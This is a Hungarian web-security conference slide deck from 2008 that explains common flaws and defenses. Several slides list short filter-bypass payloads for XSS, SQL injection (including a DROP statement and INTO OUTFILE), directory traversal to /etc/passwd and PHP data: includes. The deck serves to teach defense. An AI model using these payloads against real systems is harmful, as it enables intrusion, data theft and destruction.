Hackerek reggelije

webconf 2008

Farkas István

Az előadás témája

technicon

- Web-biztonságról
- Leggyakoribb problémák
  - Közismert problémák speciális esetei
    - SQLi, XSS, Traversal …
  - Kevésbé ismert problémák
    - Encoding, mimetype, php érdekességek …
- Hogyan védekezzünk?

Néhány szó a web-biztonságról

technicon

- A hackerek valódi célja
- Miért lenne fontos védekezni?
- Web-biztonsági problémák gyökere
  - Képzés hiánya
  - Dokumentáció hiánya
  - Security policy hiánya
  - Szabályok be nem tartása, attitűd

Leggyakoribb hibák

technicon

- Nem megfelelő adatvalidálás
  - Cross-Site Scripting (XSS)
  - SQL Injection (SQLi)
  - Directory Traversal
- Logikai problémák
  - Session Fixation
  - Timeout Attack, Unexpected State problémák

Cross-Site Scripting / 1

technicon

- Hibás blacklist szűrések
  - <scr<script>ipt>
  - <img src=”a” onerror=”alert(/bipbip/)” x=“y”>
  - <img src="jav\tascript:alert(/E!/);">
  - eval(location.substr(25))

  - &#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041

Cross-Site Scripting / 2

technicon

- Htmlentities, escapeHTML
  - <a href="javascript:alert(/pitty/)">
  - <a onclick=’view(„test&quote); alert(/putty/); //”);’>
- Fájlnév XSS
  - <script>alert(1)</script>.txt
  - ' style='expression(alert(1))'.txt
- Metaadat XSS
  - Exif
  - Torrent

SQL Injection / 1

technicon

- Aposztróf szűrése
  - CONCAT(CHAR(49),CHAR(50));
- Kulcsszavak (SELECT) szűrése
  - SEL/*nemhekker*/ECT @@version
  - EXEC('SEL' + 'ECT * FROM ' + 'users')
- Megjelenített adatok szűrése
  - SELECT * FROM users INTO OUTFILE '/tmp/a.txt';

SQL Injection / 2

technicon

- Az escape nem mindig segít
  - Numerikus paraméterek (WHERE id=1 OR 1=1)
  - Táblanév paraméterek (FROM tabla -- WHERE …)
  - Rendezés (ORDER BY name; DROP users)

Directory Traversal és Include

technicon

- fopen, include …
  - ?file=/etc/passwd
  - ?file=/../../../../etc/passwd
  - ?file=/..../..../..../..../etc/passwd
  - ?file=/..../..../..../..../etc/passwd%00.xxx
- PHP – allow_url_fopen = off esete
  - Include “php://input”
  - Include “data:;base64,PD9waHAgcGhwaW5mbygpOz8+”

Session Fixation

technicon

- Tetszőleges, URL-ben átadható SID
  - http://vuln/?SID=_TUDOM_MI_AZ _ÉRTÉKE_
- Szerver által generált, URL-ben átadható SID
  1. Támadó meglátogatja a http://vuln/-t , kap azonosítót
  2. Célpontnak elküldi a http://vuln/?SID=_AZONOSÍTÓ_ linket
  3. Célpont belép, a támadó által definiált session azonosítóval

Unexpected state

technicon

- „Váratlan” helyzetek

```
If ($conn) {
        $rights = result($user_rights);
        if ($rights == “N”) {
                die(“Unauthorized”);
        }
        do_something();
}
```

- Tranzakciókezelés hiánya
  1. start_transfer()
  2. inc_credit(user1)
  3. browser: stop
  4. dec_credit(user2)

Kevésbé ismert problémák / 1

technicon

- „Haszontalan” feature
  - Kliens oldalon
  - Szerver oldalon

Kevésbé ismert problémák / 2

technicon

- PHP_SELF
  - /vuln.php/”SQLI
  - /vuln.php/<script>alert(“megesz”)</script>
- MimeType problémák
  - HTML-ként renderelt txt, pdf …
- mod_mime „mellékhatások”
  - Attack.php.jjjjjjpeg
- Encoding problémák
  - +ADw-script+AD4-alert(+ACI-XSS+ACI-)+ADw-/script+AD4-

Megoldások / 1

technicon

Nincsenek univerzális megoldások!

Megoldások / 2

technicon

- Logikai eszközök
  - Code Coverage
    - Path Coverage
    - Condition Coverage
    - Entry/Exit Coverage
- Adatvalidációs eszközök
  - Whitelist
  - Input vs. Output filter
  - Zend Framework, Inspekt
  - Prepared Statements

Hackerek reggelije

kapcsolat@technicon.hu